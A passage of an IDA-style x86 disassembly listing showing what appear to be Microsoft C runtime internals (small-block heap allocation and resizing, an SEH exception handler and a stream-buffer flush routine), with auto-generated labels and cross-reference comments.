		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_406340
		mov	edx, [ebp+var_4]

loc_406378:				; CODE XREF: sub_4062C4+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4063B5
		or	[eax+4], edi

loc_4063B5:				; CODE XREF: sub_4062C4+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_4063C5:				; CODE XREF: sub_4062C4+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4062C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063CA	proc near		; CODE XREF: sub_40DE1D+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_40656C
		test	bl, 1
		jnz	loc_406565
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_406565
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_40643F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_40643F:				; CODE XREF: sub_4063CA+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_40648A
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_40646B
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40648A
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40648A
; ---------------------------------------------------------------------------

loc_40646B:				; CODE XREF: sub_4063CA+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40648A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_40648A:				; CODE XREF: sub_4063CA+7Bj
					; sub_4063CA+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_406553
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_4064C4
		push	3Fh
		pop	edi

loc_4064C4:				; CODE XREF: sub_4063CA+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_406541
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_406518
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_406510
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_406510:				; CODE XREF: sub_4063CA+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_406538
; ---------------------------------------------------------------------------

loc_406518:				; CODE XREF: sub_4063CA+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40652E
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_40652E:				; CODE XREF: sub_4063CA+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_406538:				; CODE XREF: sub_4063CA+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_406541:				; CODE XREF: sub_4063CA+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_406556
; ---------------------------------------------------------------------------

loc_406553:				; CODE XREF: sub_4063CA+DEj
		mov	edx, [ebp+arg_4]

loc_406556:				; CODE XREF: sub_4063CA+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4066A1
; ---------------------------------------------------------------------------

loc_406565:				; CODE XREF: sub_4063CA+50j
					; sub_4063CA+5Aj
		xor	eax, eax
		jmp	loc_4066A4
; ---------------------------------------------------------------------------

loc_40656C:				; CODE XREF: sub_4063CA+47j
		jge	loc_4066A1
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_406597
		push	3Fh
		pop	esi

loc_406597:				; CODE XREF: sub_4063CA+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_406621
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4065B0
		push	3Fh
		pop	esi

loc_4065B0:				; CODE XREF: sub_4063CA+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4065FA
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_4065DB
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4065F7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4065F7
; ---------------------------------------------------------------------------

loc_4065DB:				; CODE XREF: sub_4063CA+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4065F7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4065F7:				; CODE XREF: sub_4063CA+208j
					; sub_4063CA+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_4065FA:				; CODE XREF: sub_4063CA+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_406621
		push	3Fh
		pop	esi

loc_406621:				; CODE XREF: sub_4063CA+1D1j
					; sub_4063CA+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_406698
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_40666F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_406667
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_406667:				; CODE XREF: sub_4063CA+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_40668F
; ---------------------------------------------------------------------------

loc_40666F:				; CODE XREF: sub_4063CA+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_406685
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_406685:				; CODE XREF: sub_4063CA+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_40668F:				; CODE XREF: sub_4063CA+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_406698:				; CODE XREF: sub_4063CA+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_4066A1:				; CODE XREF: sub_4063CA+196j
					; sub_4063CA:loc_40656Cj
		xor	eax, eax
		inc	eax

loc_4066A4:				; CODE XREF: sub_4063CA+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4063CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066A9	proc near		; CODE XREF: sub_403A51+28p
					; sub_40DCFF+88p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_43683C
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, dword_436840
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_4066E0
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_4066ED
; ---------------------------------------------------------------------------

loc_4066E0:				; CODE XREF: sub_4066A9+2Aj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx

loc_4066ED:				; CODE XREF: sub_4066A9+35j
		mov	ecx, dword_436848
		mov	ebx, ecx
		jmp	short loc_406708
; ---------------------------------------------------------------------------

loc_4066F7:				; CODE XREF: sub_4066A9+64j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_40670F
		add	ebx, 14h

loc_406708:				; CODE XREF: sub_4066A9+4Cj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_4066F7

loc_40670F:				; CODE XREF: sub_4066A9+5Aj
		cmp	ebx, eax
		jnz	short loc_406792
		mov	ebx, dword_436840
		jmp	short loc_40672C
; ---------------------------------------------------------------------------

loc_40671B:				; CODE XREF: sub_4066A9+88j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_406733
		add	ebx, 14h

loc_40672C:				; CODE XREF: sub_4066A9+70j
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_40671B

loc_406733:				; CODE XREF: sub_4066A9+7Ej
		cmp	ebx, ecx
		jnz	short loc_406792
		jmp	short loc_406745
; ---------------------------------------------------------------------------

loc_406739:				; CODE XREF: sub_4066A9+9Ej
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_406749
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_406745:				; CODE XREF: sub_4066A9+8Ej
		cmp	ebx, eax
		jb	short loc_406739

loc_406749:				; CODE XREF: sub_4066A9+94j
		cmp	ebx, eax
		jnz	short loc_40677E
		mov	ebx, dword_436840
		jmp	short loc_40675E
; ---------------------------------------------------------------------------

loc_406755:				; CODE XREF: sub_4066A9+BAj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_406765
		add	ebx, 14h

loc_40675E:				; CODE XREF: sub_4066A9+AAj
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_406755

loc_406765:				; CODE XREF: sub_4066A9+B0j
		cmp	ebx, ecx
		jnz	short loc_40677E
		call	sub_406214
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jnz	short loc_40677E

loc_406777:				; CODE XREF: sub_4066A9+E7j
		xor	eax, eax
		jmp	loc_406987
; ---------------------------------------------------------------------------

loc_40677E:				; CODE XREF: sub_4066A9+A2j
					; sub_4066A9+BEj ...
		push	ebx
		call	sub_4062C4
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_406777

loc_406792:				; CODE XREF: sub_4066A9+68j
					; sub_4066A9+8Cj
		mov	dword_436848, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4067B9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4067E2

loc_4067B9:				; CODE XREF: sub_4066A9+FAj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]

loc_4067C6:				; CODE XREF: sub_4066A9+134j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_4067DF
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_4067C6
; ---------------------------------------------------------------------------

loc_4067DF:				; CODE XREF: sub_4066A9+126j
		mov	edx, [ebp+var_4]

loc_4067E2:				; CODE XREF: sub_4066A9+10Ej
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_406810
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_406810
; ---------------------------------------------------------------------------

loc_40680D:				; CODE XREF: sub_4066A9+169j
		add	ecx, ecx
		inc	edi

loc_406810:				; CODE XREF: sub_4066A9+153j
					; sub_4066A9+162j
		test	ecx, ecx
		jge	short loc_40680D
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_406831
		push	3Fh
		pop	esi

loc_406831:				; CODE XREF: sub_4066A9+183j
		cmp	esi, edi
		jz	loc_40693A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40689D
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_406871
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_40689A
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_40689D
; ---------------------------------------------------------------------------

loc_406871:				; CODE XREF: sub_4066A9+1A0j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_40689A
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_40689D
; ---------------------------------------------------------------------------

loc_40689A:				; CODE XREF: sub_4066A9+1BCj
					; sub_4066A9+1E4j
		mov	ebx, [ebp+arg_0]

loc_40689D:				; CODE XREF: sub_4066A9+196j
					; sub_4066A9+1C6j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_406946
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_406937
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_40690E
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4068FC
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_4068FC:				; CODE XREF: sub_4066A9+246j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_406937
; ---------------------------------------------------------------------------

loc_40690E:				; CODE XREF: sub_4066A9+240j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_406921
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_406921:				; CODE XREF: sub_4066A9+269j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_406937:				; CODE XREF: sub_4066A9+22Ej
					; sub_4066A9+263j
		mov	ecx, [ebp+var_8]

loc_40693A:				; CODE XREF: sub_4066A9+18Aj
		test	ecx, ecx
		jz	short loc_406949
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_406949
; ---------------------------------------------------------------------------

loc_406946:				; CODE XREF: sub_4066A9+20Aj
		mov	ecx, [ebp+var_8]

loc_406949:				; CODE XREF: sub_4066A9+293j
					; sub_4066A9+29Bj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_40697F
		cmp	ebx, dword_4279AC
		jnz	short loc_40697F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_436850
		jnz	short loc_40697F
		and	dword_4279AC, 0

loc_40697F:				; CODE XREF: sub_4066A9+2BAj
					; sub_4066A9+2C2j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_406987:				; CODE XREF: sub_4066A9+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4066A9	endp

; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4069F0	proc near		; DATA XREF: __SEH_prolog4o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00408A81 SIZE 00000019 BYTES

		sub	esp, 14h
		push	ebx
		mov	ebx, [esp+18h+arg_4]
		push	ebp
		push	esi
		mov	esi, [ebx+8]
		xor	esi, dword_423064
		push	edi
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		mov	[esp+24h+var_11], 0
		mov	[esp+24h+var_C], 1
		lea	edi, [ebx+10h]
		jz	short loc_406A28
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_402AD0

loc_406A28:				; CODE XREF: sub_4069F0+29j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_402AD0
		mov	eax, [esp+24h+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_406B65
		mov	ebp, [ebx+0Ch]
		cmp	ebp, 0FFFFFFFEh
		mov	ecx, [esp+24h+arg_8]
		lea	edx, [esp+24h+var_8]
		mov	[esp+24h+var_8], eax
		mov	[esp+24h+var_4], ecx
		mov	[ebx-4], edx
		jz	short loc_406ABF

loc_406A61:				; CODE XREF: sub_4069F0+A2j
		lea	eax, [ebp+ebp*2+0]
		mov	ecx, [esi+eax*4+14h]
		test	ecx, ecx
		lea	ebx, [esi+eax*4+10h]
		mov	eax, [ebx]
		mov	[esp+24h+var_10], eax
		jz	short loc_406A8D
		mov	edx, edi
		call	sub_408A6A
		test	eax, eax
		mov	[esp+24h+var_11], 1
		jl	short loc_406ACB
		jg	short loc_406AD5
		mov	eax, [esp+24h+var_10]

loc_406A8D:				; CODE XREF: sub_4069F0+85j
		cmp	eax, 0FFFFFFFEh
		mov	ebp, eax
		jnz	short loc_406A61
		cmp	[esp+24h+var_11], 0
		jz	short loc_406ABF

loc_406A9B:				; CODE XREF: sub_4069F0+E3j
					; sub_4069F0+191j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_406AAF
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_402AD0

loc_406AAF:				; CODE XREF: sub_4069F0+B0j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_402AD0

loc_406ABF:				; CODE XREF: sub_4069F0+6Fj
					; sub_4069F0+A9j ...
		mov	eax, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------

loc_406ACB:				; CODE XREF: sub_4069F0+95j
		mov	[esp+24h+var_C], 0
		jmp	short loc_406A9B
; ---------------------------------------------------------------------------

loc_406AD5:				; CODE XREF: sub_4069F0+97j
		mov	ecx, [esp+24h+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_406B0B
		cmp	ds:off_41DC2C, 0
		jz	short loc_406B0B
		push	offset off_41DC2C
		call	sub_40D002
		add	esp, 4
		test	eax, eax
		jz	short loc_406B0B
		mov	edx, [esp+24h+arg_0]
		push	1
		push	edx
		call	ds:off_41DC2C
		add	esp, 8

loc_406B0B:				; CODE XREF: sub_4069F0+EFj
					; sub_4069F0+F8j ...
		mov	ecx, [esp+24h+arg_4]
		call	sub_408A9A
		mov	eax, [esp+24h+arg_4]
		cmp	[eax+0Ch], ebp
		jz	short loc_406B30
		push	offset dword_423064
		push	edi
		mov	edx, ebp
		mov	ecx, eax
		call	sub_408AB4
		mov	eax, [esp+24h+arg_4]

loc_406B30:				; CODE XREF: sub_4069F0+12Bj
		mov	ecx, [esp+24h+var_10]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_406B4B
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_402AD0

loc_406B4B:				; CODE XREF: sub_4069F0+14Cj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_402AD0
		mov	ecx, [ebx+8]
		mov	edx, edi
		jmp	loc_408A81
; ---------------------------------------------------------------------------

loc_406B65:				; CODE XREF: sub_4069F0+50j
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFEh
		jz	loc_406ABF
		push	offset dword_423064
		push	edi
		mov	ecx, ebx
		mov	edx, 0FFFFFFFEh
		call	sub_408AB4
		jmp	loc_406A9B
sub_4069F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B86	proc near		; CODE XREF: sub_402EAE+9Fp
					; sub_403475+6Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_408DD0
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		test	al, 82h
		pop	ecx
		jnz	short loc_406BB6
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_406BAA:				; CODE XREF: sub_406B86+3Fj
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	loc_406CE3
; ---------------------------------------------------------------------------

loc_406BB6:				; CODE XREF: sub_406B86+17j
		test	al, 40h
		jz	short loc_406BC7
		call	sub_405B83
		mov	dword ptr [eax], 22h
		jmp	short loc_406BAA
; ---------------------------------------------------------------------------

loc_406BC7:				; CODE XREF: sub_406B86+32j
		push	ebx
		xor	ebx, ebx
		test	al, 1
		jz	short loc_406BE4
		test	al, 10h
		mov	[esi+4], ebx
		jz	loc_406C5E
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_406BE4:				; CODE XREF: sub_406B86+46j
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		mov	[esi+4], ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_406C28
		call	sub_408434
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_406C14
		call	sub_408434
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_406C21

loc_406C14:				; CODE XREF: sub_406B86+80j
		push	[ebp+arg_4]
		call	sub_40D8F0
		test	eax, eax
		pop	ecx
		jnz	short loc_406C28

loc_406C21:				; CODE XREF: sub_406B86+8Cj
		push	esi
		call	sub_40D8AC
		pop	ecx

loc_406C28:				; CODE XREF: sub_406B86+74j
					; sub_406B86+99j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	loc_406CB5
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		cmp	edi, ebx
		mov	[esi+4], ecx
		jle	short loc_406C69
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_40D7D0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_406CAB
; ---------------------------------------------------------------------------

loc_406C5E:				; CODE XREF: sub_406B86+4Dj
		or	eax, 20h
		mov	[esi+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_406CE2
; ---------------------------------------------------------------------------

loc_406C69:				; CODE XREF: sub_406B86+C4j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_406C8C
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_406C8C
		mov	eax, ecx
		and	eax, 1Fh
		imul	eax, 28h
		mov	edx, ecx
		sar	edx, 5
		add	eax, dword_435700[edx*4]
		jmp	short loc_406C91
; ---------------------------------------------------------------------------

loc_406C8C:				; CODE XREF: sub_406B86+E9j
					; sub_406B86+EEj
		mov	eax, offset dword_423BD0

loc_406C91:				; CODE XREF: sub_406B86+104j
		test	byte ptr [eax+4], 20h
		jz	short loc_406CAB
		push	2
		push	ebx
		push	ebx
		push	ecx
		call	sub_40D0F1
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406CD0

loc_406CAB:				; CODE XREF: sub_406B86+D6j
					; sub_406B86+10Fj
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_406CCB
; ---------------------------------------------------------------------------

loc_406CB5:				; CODE XREF: sub_406B86+A9j
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D7D0
		add	esp, 0Ch
		mov	[ebp+var_4], eax

loc_406CCB:				; CODE XREF: sub_406B86+12Dj
		cmp	[ebp+var_4], edi
		jz	short loc_406CD9

loc_406CD0:				; CODE XREF: sub_406B86+123j
		or	dword ptr [esi+0Ch], 20h
